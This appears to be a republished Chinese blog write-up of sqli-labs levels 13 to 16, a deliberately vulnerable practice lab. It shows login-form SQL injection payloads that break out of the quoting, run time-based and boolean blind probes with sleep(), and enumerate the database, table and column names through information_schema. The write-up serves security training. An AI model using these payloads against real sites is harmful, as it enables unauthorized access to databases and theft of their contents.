less13-16

Posted xingyuner

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了less13-16相关的知识,希望对你有一定的参考价值。

less13

首先  和12关一样输入用户名和密码  12关会有回显 13关没有回显内容

技术图片

 

 

技术图片

uname=admin &passwd=admin&submit=Submit  此时只是显示登陆成功,但是不会显示其他的信息。

 技术图片

 

将用户名换成其他 则登录失败    uname=adm & passwd=admin & submit=Submit
 

技术图片

  uname=adm ‘ or 1=1 # & passwd=admin & submit=Submit 会出现错误语句的提示

  直接通过报错信息知道了如何构造   构造:1’) or 1=1#

 

 

 

技术图片

技术图片

 

假设有俩列  uname=adm ‘) or union select 1,2, # & passwd=admin & submit=Submit    有错误

 

技术图片

猜数据库:

没有回显信息 考虑使用盲注

uname=adm ‘) or if(length(database())>7,1,sleep(5)) # & passwd=admin & submit=Submit
 技术图片

if(length(database())>8,1,sleep(5))    >8则显示正在连接   没有立即返回 猜出数据库名长度是8  

 

技术图片

uname=adm ‘) or left(database(),1) >‘a‘  #  判断数据库的第一位


 

 

技术图片

 

 

技术图片

 

 

或者使用uname=ain‘) or left((select schema_name from information_schema.schemata limit 0,1),1)>‘a‘ #&passwd=admin&submit=Submit 

 

技术图片

 

 

手动输入比较困难  我们使用暴力破解

uname=ain‘) or left((select schema_name from information_schema.schemata limit 0,1),1)=‘a‘ #&passwd=admin&submit=Submit 

猜出第一个字母是i

 

技术图片技术图片

 

 

flag.jpg则显示登录成功

接下来判断第2位

 

 

 

技术图片

 

 

 

 

技术图片

 

 

以此类推 猜出345。。位数据库名字

 

 

 

 

 

less14

uname=admin &passwd=admin&submit=Submit 

 

技术图片

 

uname=admin ‘# &passwd=admin&submit=Submit 

 

 技术图片

uname=admin " # &passwd=admin&submit=Submit 

 

技术图片

 

 

 

 

 uname=admi" or length(database())=‘8‘#&passwd=admin&submit=Submit

技术图片

 

 

 

 

技术图片

 

 

 

 

 

 

 

 

13关 是’) 

14关是 ” 

15关是 ‘ 

16关是 ”)

查询语句

 

 uname=admi" or left((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1)=‘a‘#&passwd=admin&submit=Submit

 uname=ain" or left((select schema_name from information_schema.schemata limit 0,1),1)=‘u‘ #&passwd=admin&submit=Submit
uname=adin " or left((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1)>‘a‘#&passwd=admin&submit=Submit  
uname=adin " or left((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),1)=‘a‘#&passwd=admin&submit=Submit 

判断长度

 uname = adminadmin&passwd=admiand") or if(length(database())>1,1,sleep(5))#&submit=Submit通过这个来判断其长度
 uname=adminadmin&passwd=admiand”) or if(length()>1000,1,sleep(5))#&submit=Submit

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

以上是关于less13-16的主要内容,如果未能解决你的问题,请参考以下文章

Less -- 初见less(Less介绍 & 初次使用less & 使用考拉编译less)

less使用

less的使用

sqli-labs通关(less31~less40)

less的用法

less学习笔记